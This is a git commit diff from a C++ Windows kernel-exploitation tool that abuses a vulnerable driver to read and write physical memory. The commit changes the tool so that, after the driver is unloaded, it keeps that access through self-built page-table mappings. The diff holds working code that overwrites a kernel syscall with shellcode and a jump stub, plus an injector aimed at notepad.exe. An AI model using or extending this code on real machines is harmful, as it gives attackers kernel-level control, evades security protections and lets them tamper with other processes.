added a way for vdm to use another physical memory read/write method..

master
xerox 4 years ago
parent cb4e604d70
commit d19a27279b

@ -11,18 +11,47 @@ int __cdecl main(int argc, char** argv)
return -1;
}
vdm::vdm_ctx vdm;
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
// write physical memory using the driver...
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(vdm);
nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe"));
nasa::injector_ctx injector(&my_proc, &notepad_proc);
// driver no longer needs to be loaded since paging tables are all setup :^)
// read physical memory via paging tables and not with the driver...
_read_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.read_phys(buffer, addr, size);
};
// write physical memory via paging tables and not with the driver...
_write_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.write_phys(buffer, addr, size);
};
if (!vdm::unload_drv(drv_handle, drv_key))
{
std::printf("[!] unable to unload vulnerable driver...\n");
return -1;
}
vdm.set_read(_read_phys);
vdm.set_write(_write_phys);
nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe"));
nasa::injector_ctx injector(&my_proc, &notepad_proc);
if (!injector.init())
{
std::printf("[!] failed to init injector_ctx...\n");
@ -33,11 +62,8 @@ int __cdecl main(int argc, char** argv)
reinterpret_cast<std::uintptr_t>(
GetModuleHandleA("ntdll.dll"));
const auto ntdll_inject_addr = injector.translate(ntdll_base);
std::printf("[+] ntdll base address -> 0x%p\n", ntdll_base);
std::printf("[+] ntdll reverse inject address -> 0x%p\n", ntdll_inject_addr);
std::printf("[+] ntdll MZ -> 0x%x\n", *(short*)ntdll_inject_addr);
const auto ntdll_base_injected = injector.translate(ntdll_base);
std::printf("[+] ntdll base -> 0x%p\n", ntdll_base_injected);
std::printf("[+] press any key to close...\n");
std::getchar();
}

@ -5,8 +5,8 @@ namespace nasa
mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid)
:
v_ctx(&v_ctx),
dirbase(get_dirbase(v_ctx, pid)),
pid(pid)
pid(pid),
dirbase(get_dirbase(v_ctx, pid))
{
// find an empty pml4e inside of current processes pml4...
const auto current_pml4 =
@ -67,7 +67,6 @@ namespace nasa
));
PAGE_IN(this->new_pt.second, PAGE_4KB);
// get paging table entries for pt
pt_entries new_pt_entries;
hyperspace_entries(new_pt_entries, this->new_pt.second);
@ -373,10 +372,10 @@ namespace nasa
}
}
void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
return;
return false;
const auto temp_page = set_page(addr);
__try
@ -384,13 +383,16 @@ namespace nasa
memcpy(buffer, temp_page, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
{
return false;
}
return true;
}
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
return;
return false;
const auto temp_page = set_page(addr);
__try
@ -398,7 +400,10 @@ namespace nasa
memcpy(temp_page, buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
{
return false;
}
return true;
}
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)

@ -7,7 +7,7 @@ namespace nasa
class mem_ctx
{
public:
explicit mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId());
mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId());
~mem_ctx();
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
@ -25,8 +25,8 @@ namespace nasa
void* get_dirbase() const;
static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid);
void read_phys(void* buffer, void* addr, std::size_t size);
void write_phys(void* buffer, void* addr, std::size_t size);
bool read_phys(void* buffer, void* addr, std::size_t size);
bool write_phys(void* buffer, void* addr, std::size_t size);
template <class T>
T read_phys(void* addr)

@ -2,7 +2,14 @@
namespace vdm
{
vdm_ctx::vdm_ctx()
vdm_ctx::vdm_ctx
(
std::function<decltype(vdm::read_phys)>& read_func,
std::function<decltype(vdm::write_phys)>& write_func
)
:
read_phys(read_func),
write_phys(write_func)
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
@ -35,6 +42,16 @@ namespace vdm
search_thread.join();
}
void vdm_ctx::set_read(std::function<decltype(vdm::read_phys)>& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(std::function<decltype(vdm::write_phys)>& write_func)
{
this->write_phys = write_func;
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
@ -50,7 +67,7 @@ namespace vdm
if (vdm::syscall_address.load())
break;
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
@ -82,11 +99,11 @@ namespace vdm
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}

@ -5,6 +5,7 @@
#include <thread>
#include <atomic>
#include <mutex>
#include <functional>
#include "../vdm/vdm.hpp"
namespace vdm
@ -19,10 +20,21 @@ namespace vdm
inline std::uint32_t nt_rva;
inline std::uint8_t* dxgkrnl_buffer;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx
{
public:
vdm_ctx();
vdm_ctx
(
std::function<decltype(vdm::read_phys)>& read_func,
std::function<decltype(vdm::write_phys)>& write_func
);
void set_read(std::function<decltype(vdm::read_phys)>& read_func);
void set_write(std::function<decltype(vdm::write_phys)>& write_func);
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
@ -46,12 +58,12 @@ namespace vdm
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
@ -109,5 +121,8 @@ namespace vdm
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
std::function<decltype(vdm::read_phys)> read_phys;
std::function<decltype(vdm::write_phys)> write_phys;
};
}
Loading…
Cancel
Save